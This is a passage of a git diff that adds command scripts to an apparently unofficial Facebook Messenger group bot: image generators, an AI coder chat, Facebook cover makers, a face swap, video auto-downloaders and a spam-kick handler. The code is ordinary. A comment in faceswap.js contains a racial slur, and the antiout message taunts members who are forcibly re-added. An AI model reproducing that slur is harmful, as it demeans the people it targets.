pogi.data); + + const poganda = await api.getUserInfo(event.senderID); + const requesterName = poganda[event.senderID].name; + + api.sendMessage({ + body: `Here is the image you requested:\n\nPrompt: ${chilli}\n\nRequested by: ${requesterName}`, + attachment: fs.createReadStream(imagePath) + }, event.threadID, () => { + fs.unlinkSync(imagePath); + }); + } catch (mantika) { + console.error(mantika); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } + }); + } catch (mantika) { + console.error("Error in DALL-E command:", mantika); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } +}; diff --git a/script/deepcode.js b/script/deepcode.js new file mode 100644 index 000000000..4b7d103d2 --- /dev/null +++ b/script/deepcode.js @@ -0,0 +1,35 @@ +const axios = require("axios"); + +module.exports.config = { + name: "deepcode", + version: "1.0.0", + credits: "chill", + description: "Interact with Coder AI", + hasPrefix: false, + cooldown: 5, + aliases: [] +}; + +module.exports.run = async function ({ api, event, args }) { + try { + let q = args.join(" "); + if (!q) { + return api.sendMessage(" Missing question for the coder", event.threadID, event.messageID); + } + + api.sendMessage("Deepcode, answering please wait...", event.threadID, async (err, info) => { + try { + const response = await axios.get(`https://joshweb.click/ai/deepseek-coder?q=${encodeURIComponent(q)}&uid=100`); + const answer = response.data.result; + + api.sendMessage(answer, event.threadID); + } catch (error) { + console.error(error); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } + }); + } catch (error) { + console.error("Error in coder command:", error); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } +}; diff --git a/script/dreamshaper.js b/script/dreamshaper.js new file mode 100644 index 000000000..b2ef4228a --- /dev/null +++ b/script/dreamshaper.js @@ -0,0 +1,61 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "dreamshaper", + version: "1.0.0", + credits: "chill", + description: "Generate an image ", + hasPrefix: false, + cooldown: 3, + aliases: ["dream"] +}; + +module.exports.run = async function ({ api, event, args }) { + try { + let prompt = args.join(" "); + if (!prompt) { + return api.sendMessage("Please provide a prompt for the image, for example: dream a beautiful sunset.", event.threadID, event.messageID); + } + + api.sendMessage("Generating image, please wait...", event.threadID, async (err, info) => { + try { + const response = await axios.get(`https://joshweb.click/dreamshaper?prompt=${encodeURIComponent(prompt)}`); + const imageUrl = response.data.imageUrl; + + const imagePath = path.join(__dirname, 'temp_image.jpg'); + const writer = fs.createWriteStream(imagePath); + + const imageResponse = await axios({ + url: imageUrl, + method: 'GET', + responseType: 'stream' + }); + + imageResponse.data.pipe(writer); + + writer.on('finish', () => { + api.sendMessage({ + body: "Here is your generated image:", + attachment: fs.createReadStream(imagePath) + }, event.threadID, () => { + fs.unlinkSync(imagePath); // Delete the temporary file + }); + }); + + writer.on('error', (err) => { + console.error(err); + api.sendMessage("An error occurred while processing your request.", event.threadID); + }); + + } catch (error) { + console.error(error); + api.sendMessage("An error occurred while generating the image.", event.threadID); + } + }); + } catch (error) { + console.error("Error in dreamshaper command:", error); + api.sendMessage("An error occurred while processing your request.", event.threadID); + } +}; diff --git a/script/egif.js b/script/egif.js new file mode 100644 index 000000000..1bca4bbea --- /dev/null +++ b/script/egif.js @@ -0,0 +1,53 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "egif", + version: "1.0.0", + credits: "chill", + description: "Convert an emoji to a GIF ", + hasPrefix: false, + cooldown: 5, + aliases: ["egif"] +}; + +module.exports.run = async function ({ api, event, args }) { + try { + if (args.length < 1) { + return api.sendMessage(" Usage: egif emoji", event.threadID, event.messageID); + } + + const emoji = args.join(" "); + + api.sendMessage("Generating GIF, please wait...", event.threadID, async (err) => { + if (err) { + console.error(err); + return api.sendMessage("An error occurred while processing your request.", event.threadID, event.messageID); + } + + try { + const response = await axios.get(`https://joshweb.click/emoji2gif`, { + params: { q: emoji }, + responseType: 'arraybuffer' + }); + + const gifPath = path.join(__dirname, "emoji_gif.gif"); + fs.writeFileSync(gifPath, response.data); + + api.sendMessage({ + body: `Here is the GIF for the emoji you requested: ${emoji}`, + attachment: fs.createReadStream(gifPath) + }, event.threadID, () => { + fs.unlinkSync(gifPath); + }); + } catch (error) { + console.error("API request error:", error); + api.sendMessage("An error occurred while processing your request.", event.threadID, event.messageID); + } + }); + } catch (error) { + console.error("Error in egif command:", error); + api.sendMessage("An error occurred while processing your request.", event.threadID, event.messageID); + } +}; diff --git a/script/emi.js b/script/emi.js new file mode 100644 index 000000000..0a69e92b2 --- /dev/null +++ b/script/emi.js @@ -0,0 +1,67 @@ +// Define the module configuration +module.exports.config = { + name: "emi", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate an image based on a prompt", + hasPrefix: false, + aliases: ["imggen"], + usage: "[emi ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + // Destructure the arguments + const [prompt] = args; + + // Check if the prompt argument is provided + if (!prompt) { + api.sendMessage("Usage: emi ", event.threadID); + return; + } + + // Construct the API URL + const url = `https://joshweb.click/emi?prompt=${encodeURIComponent(prompt)}`; + const imagePath = path.join(__dirname, "generated_image.jpeg"); + + // Notify the user that the image is being generated + api.sendMessage("Generating your image, please wait...", event.threadID); + + // Fetch the image from the API + const response = await axios({ + url: url, + method: 'GET', + responseType: 'stream' + }); + + // Create a writable stream to save the image + const writer = fs.createWriteStream(imagePath); + response.data.pipe(writer); + + // Handle the finish event of the writable stream + writer.on('finish', () => { + // Send the image as an attachment + api.sendMessage({ + attachment: fs.createReadStream(imagePath) + }, event.threadID, () => { + // Clean up the file after sending + fs.unlinkSync(imagePath); + }); + }); + + // Handle errors during the writing process + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the request.", event.threadID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/event/antiout.js b/script/event/antiout.js index 8126b167e..a1bb1be81 100644 --- a/script/event/antiout.js +++ b/script/event/antiout.js @@ -16,7 +16,7 @@ module.exports.handleEvent = async ({ if (error) { api.sendMessage(`Unable to re-add member ${name} to the group!`, event.threadID); } else { - api.sendMessage(`Active antiout mode, ${name} has been re-added to the group successfully!`, event.threadID); + api.sendMessage(`Active antiout mode, ${name} kala mo ha wala ka nang takas dito!`, event.threadID); } }); } diff --git a/script/event/autofacebookdl.js b/script/event/autofacebookdl.js new file mode 100644 index 000000000..ad571fb62 --- /dev/null +++ b/script/event/autofacebookdl.js @@ -0,0 +1,62 @@ +module.exports.config = { + name: "autofacebookdl", + eventType: ["log:unsubscribe"], + version: "1.0.0", + credits: "@itsunknown", + description: "listen events", + cooldowns: 5 +}; + +module.exports.handleEvent = async function({ api, event }) { + + const getFBInfo = require("@xaviabot/fb-downloader"); + + const axios = require('axios'); + const fs = require('fs'); + + const path = __dirname + '/cache/facebookdl/video.mp4'; // Path to save the downloaded video + + const regexFB = /https:\/\/www\.facebook\.com\/\S+/; + + const match = event.body?.match(regexFB); + + const url = match ? match[0] : null; + + if (match) { + + api.setMessageReaction("โณ", event.messageID, () => { }, true); + api.sendTypingIndicator(event.threadID, true); + + try { + + const result = await getFBInfo(url); + + let videoData = await axios.get(encodeURI(result.sd), { + responseType: 'arraybuffer' + }); + + api.sendMessage('Downloading...', event.threadID, (err, info) => + + setTimeout(() => { + api.unsendMessage(info.messageID) + }, 10000), event.messageID); + + fs.writeFileSync(path, Buffer.from(videoData.data, "utf-8")); + setTimeout(function() { + api.setMessageReaction("โœ…", event.messageID, () => { }, true); + + return api.sendMessage({ + body: "Downloaded Successfull(y).", + attachment: fs.createReadStream(path) + }, event.threadID, () => fs.unlinkSync(path)); + }, 5000); + + } catch (e) { + + return api.sendMessage(e.message, event.threadID, event.messageID); + + } + + } + +}; diff --git a/script/event/autotiktokdl.js b/script/event/autotiktokdl.js new file mode 100644 index 000000000..ff6473574 --- /dev/null +++ b/script/event/autotiktokdl.js @@ -0,0 +1,63 @@ +module.exports.config = { + name: "autotiktokdl", + eventType: ["log:unsubscribe"], + version: "1.0.0", + credits: "libyzxy0", + description: "listen events", + cooldowns: 5 +}; + +module.exports.handleEvent = async function ({ api, event }) { + + const fs = require('fs'); + const axios = require('axios'); + + const regEx_tiktok = /https:\/\/(www\.|vt\.)?tiktok\.com\//; + const link = event.body; + + if (regEx_tiktok.test(link)) { + + api.setMessageReaction("โณ", event.messageID, () => { }, true); + api.sendTypingIndicator(event.threadID, true); + axios.post(`https://www.tikwm.com/api/`, { + url: link + }).then(async response => { // Added async keyword + + api.sendMessage('Downloading...', event.threadID, (err, info) => + + setTimeout(() => { + api.unsendMessage(info.messageID) + }, 10000), event.messageID); + const data = response.data.data; + + const userName = data.author.unique_id; + + const userNickname = data.author.nickname; + + const userID = data.author.id; + + const duration = data.duration + const videoStream = await axios({ + method: 'get', + url: data.play, + responseType: 'stream' + }).then(res => res.data); + const fileName = `${Date.now()}.mp4`; + const filePath = `./${fileName}`; + const videoFile = fs.createWriteStream(filePath); videoStream.pipe(videoFile); + videoFile.on('finish', () => { + videoFile.close(() => { + setTimeout(function() { + api.setMessageReaction("โœ…", event.messageID, () => { }, true); api.sendMessage({ + body: `Downloaded Successfull(y). \n\nuserName : \n\n@${userName} \n\nuserNickname : \n\n${userNickname} \n\nuserID : \n\n${userID} \n\nDuration : \n\n${duration}`, attachment: fs.createReadStream(filePath) + }, event.threadID, () => { + fs.unlinkSync(filePath); // Delete the video file after sending it + }); + + }, 5000); + }); + }); + }).catch(error => { api.sendMessage(`error: ${error.message}`, event.threadID, event.messageID); + }); + } +} diff --git a/script/event/randomreact.js b/script/event/randomreact.js new file mode 100644 index 000000000..9a41ca718 --- /dev/null +++ b/script/event/randomreact.js @@ -0,0 +1,19 @@ +const axios = require('axios'); +const path = require('path'); +const fs = require('fs'); +const request = require('request'); + +module.exports.config = { + name: "randomReact", + version: "69", + credits: "cttro", +}; + +module.exports.handleEvent = async function ({ api, event }) { + if (event.body) { + const emojis = ['๐Ÿ˜˜', '๐Ÿฅบ', '๐Ÿ˜€', '๐Ÿ˜พ', '๐Ÿ˜›', '๐Ÿ˜ฝ', '๐Ÿ˜ธ','๐Ÿคญ','๐Ÿ˜ญ','๐Ÿ™„','๐Ÿ’‹','๐Ÿ˜“','โ˜น๏ธ','๐Ÿ˜’','๐Ÿคง','๐ŸŽ€','๐Ÿ˜ฑ','๐Ÿ˜‘','๐Ÿ˜Š','๐Ÿ˜ž','๐Ÿ–ค','๐Ÿค–','๐Ÿ˜†']; + const randomEmoji = emojis[Math.floor(Math.random() * emojis.length)]; + + api.setMessageReaction(randomEmoji, event.messageID, () => {}, true); + } +}; diff --git a/script/event/spamkick.js b/script/event/spamkick.js new file mode 100644 index 000000000..7c0da83b5 --- /dev/null +++ b/script/event/spamkick.js @@ -0,0 +1,48 @@ +module.exports.config = { + name: "spamkick", + eventType: ["log:unsubscribe"], + version: "1.1.0", + role: 0, + credits: "marjhun || miko", + description: "listen events", + cooldowns: 5 +}; + +let messageCounts = {}; +let spamDetectionEnabled = true; +const spamThreshold = 60; +const spamInterval = 60000; + +module.exports.handleEvent = function ({ api, event }) { + + const { threadID, messageID, senderID } = event; + + if (!spamDetectionEnabled) { + return; + } + + if (!messageCounts[threadID]) { + messageCounts[threadID] = {}; + } + + if (!messageCounts[threadID][senderID]) { + messageCounts[threadID][senderID] = { + count: 1, + timer: setTimeout(() => { + delete messageCounts[threadID][senderID]; + }, spamInterval), + }; + } else { + messageCounts[threadID][senderID].count++; + if (messageCounts[threadID][senderID].count > spamThreshold) { + api.removeUserFromGroup(senderID, threadID); + /*api.sendMessage({ + body: "\n", + mentions: [{ + tag: senderID, + id: senderID, + }], + }, threadID, messageID);*/ + } + } +}; diff --git a/script/event/welcomenoti.js b/script/event/welcomenoti.js new file mode 100644 index 000000000..7394100ca --- /dev/null +++ b/script/event/welcomenoti.js @@ -0,0 +1,49 @@ +const axios = require('axios'); +const fs = require('fs'); + +module.exports.config = { + name: "welcomenoti", + version: "1.0.0", +}; + +module.exports.handleEvent = async function ({ api, event }) { + if (event.logMessageType === "log:subscribe") { + const addedParticipants = event.logMessageData.addedParticipants; + const senderID = addedParticipants[0].userFbId; + let name = await api.getUserInfo(senderID).then(info => info[senderID].name); + + // Truncate name if it's too long + const maxLength = 15; // Reduce length to ensure better fit + if (name.length > maxLength) { + name = name.substring(0, maxLength - 3) + '...'; + } + + // Fetching the group photo URL and thread name + const groupInfo = await api.getThreadInfo(event.threadID); + const groupIcon = groupInfo.imageSrc || "https://i.ibb.co/G5mJZxs/rin.jpg"; // Fallback image URL if group has no photo + const memberCount = groupInfo.participantIDs.length; + const groupName = groupInfo.threadName || "this group"; // Ensure a fallback value + + const background = groupInfo.imageSrc || "https://i.ibb.co/4YBNyvP/images-76.jpg"; // Use group image if available, otherwise default background + + const url = `https://joshweb.click/canvas/welcome?name=${encodeURIComponent(name)}&groupname=${encodeURIComponent(groupName)}&groupicon=${encodeURIComponent(groupIcon)}&member=${memberCount}&uid=${senderID}&background=${encodeURIComponent(background)}`; + + try { + const { data } = await axios.get(url, { responseType: 'arraybuffer' }); + const filePath = './script/cache/welcome_image.jpg'; + fs.writeFileSync(filePath, Buffer.from(data)); + + api.sendMessage({ + body: `Everyone welcome the new member ${name} to ${groupName}!`, + attachment: fs.createReadStream(filePath) + }, event.threadID, () => fs.unlinkSync(filePath)); + } catch (error) { + console.error("Error fetching welcome image:", error); + + // Fallback message if fetching the image fails + api.sendMessage({ + body: `Everyone welcome the new member ${name} to ${groupName}!` + }, event.threadID); + } + } +}; diff --git a/script/faceswap.js b/script/faceswap.js new file mode 100644 index 000000000..0356ab25c --- /dev/null +++ b/script/faceswap.js @@ -0,0 +1,66 @@ +const axios = require('axios'); +const fs = require('fs-extra'); +const { Prodia } = require("prodia.js"); + +module.exports.config = { + name: "swap", + version: "7.2", + hasPermission: 0, + credits: "Hazeyy, deku (modified by kira)", + description: "( ๐™ต๐šŠ๐šŒ๐šŽ ๐š‚๐š ๐šŠ๐š™ )", + usePrefix: false, + commandCategory: "gen", + usages: "", + cooldowns: 2, +}; + +module.exports.run = async function ({ api, event }) { + const reply = (message) => api.sendMessage(message, event.threadID, event.messageID); + + if (event.type === "message_reply") { + const attachments = event.messageReply.attachments.filter(attachment => attachment.type === "photo"); + + if (attachments.length >= 2) { + const [url1, url2] = attachments.map(attachment => attachment.url); + const path = __dirname + `/cache/swapped_image.jpg`; + + api.sendMessage("๐Ÿ”ฎ | ๐™ฟ๐š•๐šŽ๐šŠ๐šœ๐šŽ ๐š ๐šŠ๐š’๐š ๐š ๐š‘๐š’๐š•๐šŽ ๐š ๐šŽ ๐šœ๐š ๐šŠ๐š™ ๐šข๐š˜๐šž๐š› ๐š’๐š–๐šŠ๐š๐šŽ๐šœ...", event.threadID, event.messageID); + + try { + const prodia = Prodia(""); // dito prodia apikey mo nigga + + const result = await prodia.faceSwap({ + sourceUrl: url1, + targetUrl: url2, + }); + + const job = await prodia.wait(result); + + if (job.status === "succeeded") { + const imageResponse = await axios.get(job.imageUrl, { responseType: 'stream' }); + const writer = fs.createWriteStream(path); + imageResponse.data.pipe(writer); + + writer.on('finish', () => { + api.sendMessage({ + body: "๐Ÿ”ฎ ๐™ธ๐š–๐šŽ๐š๐šŽ ๐š‚๐š ๐šŠ๐š™ ๐š‚๐šž๐šŒ๐šŒ๐šŽ๐šœ๐š๐šž๐š•๐š•๐šข", + attachment: fs.createReadStream(path) + }, event.threadID, (err, messageInfo) => { + if (err) { + reply("๐Ÿค– ๐™ด๐š›๐š›๐š˜๐š› ๐šœ๐šŽ๐š—๐š๐š’๐š—๐š ๐š–๐šŽ๐šœ๐šœ๐šŠ๐š๐šŽ: " + err); + } else { + fs.unlinkSync(path); + } + }); + }); + } else { + reply("๐Ÿค– ๐™ธ๐š–๐šŽ๐š๐šŽ ๐š™๐š›๐‘œ๐šŒ๐šŽ๐šœ๐šœ๐š’๐š—๐š ๐š๐šŠ๐š’๐š•๐šŽ๐š."); + } + } catch (error) { + reply(`๐Ÿค– ๐™ฟ๐š›๐š˜๐šŒ๐šŽ๐šœ๐šœ๐š’๐š—๐š ๐š’๐š–๐šŽ๐š๐šŽ๐šœ: ${error.message}`); + } + } else { + reply("๐Ÿ”ฎ ๐™ต๐šŠ๐šŒ๐šŽ ๐š‚๐š ๐šŠ๐š™\n\n๐š„๐šœ๐šŽ: ๐šœ๐š ๐šŠ๐š™ [ ๐š›๐šŽ๐š™๐š•๐šข 1 ๐šŠ๐š—๐š 2 ๐š’๐š๐šŽ๐šœ ]"); + } + } +}; diff --git a/script/fbcover.js b/script/fbcover.js new file mode 100644 index 000000000..0cc600312 --- /dev/null +++ b/script/fbcover.js @@ -0,0 +1,47 @@ +module.exports.config = { + name: "fbcover", + version: "1.0.", + hasPermssion: 0, + credits: "James Lim", // api by Kim Joseph DG Bien - kira + description: "facebook cover/banner", + usePrefix: false, + commandCategory: "banner", + usages: "name | color | address | email | subname | phone number", + cooldowns: 2, +}; + +module.exports.run = async ({ api, event, args }) => { + const axios = require('axios'); + const fs = require('fs-extra'); + let { threadID, messageID, senderID } = event; + let uid = event.senderID; + let imgPath = __dirname + `/cache/coverfbv2.jpg`; + const txt = args.join(" ").split("|").map(item => item.trim()); + let name = txt[0]; + let color = txt[1]; + let address = txt[2]; + let email = txt[3]; + let subname = txt[4]; + let number = txt[5]; + + if (!args[0]) { + api.sendMessage(`โš  ๐š–๐š’๐šœ๐šœ๐š’๐š—๐š ๐š’๐š—๐š™๐šž๐š.\n\n๐šž๐šœ๐šŠ๐š๐šŽ: fbcover name | color | address | email | subname | phone number`, threadID, messageID); + return; + } + + api.sendMessage(`โณ ๐š๐šŽ๐š—๐šŽ๐š›๐šŠ๐š๐š’๐š—๐š ๐š™๐š•๐šŽ๐šŠ๐šœ๐šŽ ๐š ๐šŠ๐š’๐š...\n\nname: ${name}\ncolor: ${color}\naddress: ${address}\nemail: ${email}\nsubname: ${subname}\nphone number: ${number}\nuid: ${uid}`, threadID, messageID); + + try { + const cover = (await axios.get(`https://hiroshi-rest-api.replit.app/canvas/fbcoverv2?name=${name}&color=${color}&address=${address}&email=${email}&subname=${subname}&sdt=${number}&uid=${uid}`, { responseType: "arraybuffer" })).data; + + fs.writeFileSync(imgPath, Buffer.from(cover, "utf-8")); + + api.sendMessage({ + body: "๐ŸŸข ๐š‘๐šŽ๐š›๐šŽ'๐šœ ๐šข๐š˜๐šž๐š› ๐šŒ๐š˜๐šŸ๐šŽ๐š› ๐š™๐š‘๐š˜๐š๐š˜:", + attachment: fs.createReadStream(imgPath) + }, threadID, () => fs.unlinkSync(imgPath), messageID); + } catch (error) { + console.error("[ FBCOVERV2 ] ERROR!"); + api.sendMessage("๐Ÿ”ด ๐šŠ๐š— ๐šŽ๐š›๐š›๐š˜๐š› ๐š˜๐šŒ๐šŒ๐šž๐š›๐š›๐šŽ๐š ๐š ๐š‘๐š’๐š•๐šŽ ๐š๐šŽ๐š๐šŒ๐š‘๐š’๐š—๐š ๐™ต๐™ฑ๐™ฒ๐™พ๐š…๐™ด๐š ๐™ฐ๐™ฟ๐™ธ.", threadID, messageID); + } +}; diff --git a/script/fbcoverv1.js b/script/fbcoverv1.js new file mode 100644 index 000000000..5a7088535 --- /dev/null +++ b/script/fbcoverv1.js @@ -0,0 +1,57 @@ +module.exports.config = { + name: "fbcoverv1", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate a Facebook cover image", + hasPrefix: false, + aliases: ["fbcoverv1"], + usage: "[fbcoverv1 ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + const input = args.join(" ").split("|").map(arg => arg.trim()); + const [name, id, subname, color] = input; + + if (!name || !id || !subname || !color) { + api.sendMessage("Usage: fbcoverv1 name | id | nickname | color", event.threadID); + return; + } + + const url = `https://hiroshi-rest-api.replit.app/canvas/fbcoverv1?name=${encodeURIComponent(name)}&id=${encodeURIComponent(id)}&subname=${encodeURIComponent(subname)}&color=${encodeURIComponent(color)}`; + const imagePath = path.join(__dirname, "fbcoverv1.png"); + + api.sendMessage("Generating your Facebook cover, please wait...", event.threadID); + + const response = await axios({ + url: url, + method: 'GET', + responseType: 'stream' + }); + + const writer = fs.createWriteStream(imagePath); + response.data.pipe(writer); + + writer.on('finish', () => { + api.sendMessage({ + attachment: fs.createReadStream(imagePath) + }, event.threadID, () => { + fs.unlinkSync(imagePath); + }); + }); + + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the request.", event.threadID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/fbcoverv2.js b/script/fbcoverv2.js new file mode 100644 index 000000000..73d629797 --- /dev/null +++ b/script/fbcoverv2.js @@ -0,0 +1,78 @@ + +module.exports.config = { + name: "fbcoverv2", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate a Facebook cover image", + hasPrefix: false, + aliases: ["fbcoverv2"], + usage: "[fbcoverv2 | |
| | | ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + + const input = args.join(" "); + const [name, color, address, email, subname, sdt] = input.split(" | "); + + + if (!name || !color || !address || !email || !subname || !sdt) { + return api.sendMessage("Please provide all required parameters:fbcoverv2 name | color | address | email | nickname | number ", event.threadID); + } + + + const userProfileUrl = `https://graph.facebook.com/${event.senderID}/picture?type=large`; + const profilePicPath = path.join(__dirname, "profilePic.jpg"); + + const profilePicResponse = await axios({ + url: userProfileUrl, + method: 'GET', + responseType: 'stream' + }); + + + const writer = fs.createWriteStream(profilePicPath); + profilePicResponse.data.pipe(writer); + + writer.on('finish', async () => { + try { + + const apiUrl = `https://hiroshi-rest-api.replit.app/canvas/fbcoverv2?name=${encodeURIComponent(name)}&color=${encodeURIComponent(color)}&address=${encodeURIComponent(address)}&email=${encodeURIComponent(email)}&subname=${encodeURIComponent(subname)}&sdt=${encodeURIComponent(sdt)}&uid=${event.senderID}`; + + api.sendMessage("Generating Facebook cover photo, please wait...", event.threadID); + + + const response = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const coverPhotoPath = path.join(__dirname, "fbCover.jpg"); + + fs.writeFileSync(coverPhotoPath, response.data); + + api.sendMessage({ + body: "Here is your customized Facebook cover photo:", + attachment: fs.createReadStream(coverPhotoPath) + }, event.threadID, () => { + + fs.unlinkSync(profilePicPath); + fs.unlinkSync(coverPhotoPath); + }); + } catch (sendError) { + console.error('Error sending image:', sendError); + api.sendMessage("An error occurred while sending the image.", event.threadID); + } + }); + + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the request.", event.threadID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/fbcoverv3.js b/script/fbcoverv3.js new file mode 100644 index 000000000..64cd0e255 --- /dev/null +++ b/script/fbcoverv3.js @@ -0,0 +1,45 @@ +module.exports.config = { + name: "fbcoverv3", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate Facebook cover photo", + hasPrefix: false, + aliases: ["fbcoverv3"], + usage: "[fbcoverv3 | | | | ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + const input = args.join(" "); + const [name, id, subname, colorname, colorsub] = input.split(" | "); + + if (!name || !id || !subname || !colorname || !colorsub) { + return api.sendMessage("Please provide all required parameters: fbcoverv3 name | id | subname | colorname | colorsub ", event.threadID); + } + + const apiUrl = `https://joshweb.click/canvas/fbcoverv4?name=${encodeURIComponent(name)}&id=${encodeURIComponent(id)}&subname=${encodeURIComponent(subname)}&colorname=${encodeURIComponent(colorname)}&colorsub=${encodeURIComponent(colorsub)}&uid=${event.senderID}`; + + api.sendMessage("Generating Facebook cover photo, please wait...", event.threadID); + + const response = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const coverPhotoPath = path.join(__dirname, "fbCover.jpg"); + + fs.writeFileSync(coverPhotoPath, response.data); + + api.sendMessage({ + body: "Here is your Fbcoverv3:", + attachment: fs.createReadStream(coverPhotoPath) + }, event.threadID, () => { + fs.unlinkSync(coverPhotoPath); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/fbcoverv4.js b/script/fbcoverv4.js new file mode 100644 index 000000000..0684fb028 --- /dev/null +++ b/script/fbcoverv4.js @@ -0,0 +1,45 @@ +module.exports.config = { + name: "fbcoverv4", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate Facebook cover photo", + hasPrefix: false, + aliases: ["fbcoverv4"], + usage: "[fbcoverv4 | | | ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + const input = args.join(" "); + const [name, id, subname, color] = input.split(" | "); + + if (!name || !id || !subname || !color) { + return api.sendMessage("Please provide all required parameters: fbcoverv4 name | id | nickname | color", event.threadID); + } + + const apiUrl = `https://joshweb.click/canvas/fbcoverv5?name=${encodeURIComponent(name)}&id=${encodeURIComponent(id)}&subname=${encodeURIComponent(subname)}&color=${encodeURIComponent(color)}&uid=${event.senderID}`; + + api.sendMessage("Generating Facebook cover photo, please wait...", event.threadID); + + const response = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const coverPhotoPath = path.join(__dirname, "fbCover.jpg"); + + fs.writeFileSync(coverPhotoPath, response.data); + + api.sendMessage({ + body: "Here is your Fbcoverv4:", + attachment: fs.createReadStream(coverPhotoPath) + }, event.threadID, () => { + fs.unlinkSync(coverPhotoPath); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/fbcoverv5.js b/script/fbcoverv5.js new file mode 100644 index 000000000..c37405565 --- /dev/null +++ b/script/fbcoverv5.js @@ -0,0 +1,65 @@ +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.config = { + name: "fbcoverv5", + version: "1.0.0", + role: 0, + credits: "churchillitos", + description: "Generate Facebook cover photo v2", + hasPrefix: false, + aliases: ["fbcoverv5"], + usage: "[fbcoverv5 name | birthday | love | location | hometown | follow | gender]", + cooldown: 5 +}; + +module.exports.run = async function({ api, event, args }) { + try { + const input = args.join(" "); + const [name, birthday, love, location, hometown, follow, gender] = input.split(" | "); + + if (!name || !birthday || !love || !location || !hometown || !follow || !gender) { + return api.sendMessage(" usage: fbcoverv5 name | birthday | love | location | hometown | follow | gender",event.threadID); + } + + const userProfileUrl = `https://graph.facebook.com/${event.senderID}/picture?type=large`; + const profilePicPath = path.join(__dirname, "profilePic.jpg"); + + const profilePicResponse = await axios({ + url: userProfileUrl, + method: 'GET', + responseType: 'stream' + }); + + const writer = fs.createWriteStream(profilePicPath); + profilePicResponse.data.pipe(writer); + + writer.on('finish', async () => { + const apiUrl = `https://joshweb.click/canvas/fbcoverv3?name=${encodeURIComponent(name)}&birthday=${encodeURIComponent(birthday)}&love=${encodeURIComponent(love)}&location=${encodeURIComponent(hometown)}&hometown=${encodeURIComponent(location)}&follow=${encodeURIComponent(follow)}&gender=${encodeURIComponent(gender)}&uid=${event.senderID}`; + + api.sendMessage("Generating Facebook cover photo, please wait...", event.threadID); + + const response = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const coverPhotoPath = path.join(__dirname, "fbCover.jpg"); + + fs.writeFileSync(coverPhotoPath, response.data); + + api.sendMessage({ + body: "Here is your customized Facebook cover photo:", + attachment: fs.createReadStream(coverPhotoPath) + }, event.threadID, () => { + fs.unlinkSync(profilePicPath); + fs.unlinkSync(coverPhotoPath); + }); + }); + + writer.on('error', (err) => { + console.error('Stream writer error:', err); + api.sendMessage("An error occurred while processing the request.", event.threadID); + }); + } catch (error) { + console.error('Error:', error); + api.sendMessage("An error occurred while processing the request.", event.threadID); + } +}; diff --git a/script/fbcoverv6.js b/script/fbcoverv6.js new file mode 100644 index 000000000..fdf3e6db1 --- /dev/null +++ b/script/fbcoverv6.js @@ -0,0 +1,77 @@ + +module.exports.config = { + name: "fbcoverv6", + version: "1.0.0", + role: 0, + credits: "chill", + description: "Generate a Facebook cover image using the new API", + hasPrefix: false, + aliases: ["fbcoverv6"], + usage: "[fbcoverv6 | | | | | | ]", + cooldown: 5 +}; + +const axios = require("axios"); +const fs = require("fs"); +const path = require("path"); + +module.exports.run = async function({ api, event, args }) { + try { + + const input = args.join(" "); + const [name, gender, birthday, love, follower, location, hometown] = input.split(" | "); + + + if (!name || !gender || !birthday || !love || !follower || !location || !hometown) { + return api.sendMessage("Please provide all required parameters: fbcoverv6 name | gender | birthday | love | follower | location | hometown", event.threadID); + } + + + const userProfileUrl = `https://graph.facebook.com/${event.senderID}/picture?type=large`; + const profilePicPath = path.join(__dirname, "profilePic.jpg"); + + const profilePicResponse = await axios({ + url: userProfileUrl, + method: 'GET', + responseType: 'stream' + }); + + const writer = fs.createWriteStream(profilePicPath); + profilePicResponse.data.pipe(writer); + + writer.on('finish', async () => { + try { + + const apiUrl = `https://joshweb.click/canvas/fbcoverv7?uid=${event.senderID}&name=${encodeURIComponent(name)}&gender=${encodeURIComponent(gender)}&birthday=${encodeURIComponent(birthday)}&love=${encodeURIComponent(love)}&follower=${encodeURIComponent(follower)}&location=${encodeURIComponent(location)}&hometown=${encodeURIComponent(hometown)}`; + + api.sendMessage("Generating Facebook cover photo, please wait...", event.threadID); + + const response = await axios.get(apiUrl, { responseType: 'arraybuffer' }); + const coverPhotoPath = path.join(__dirname, 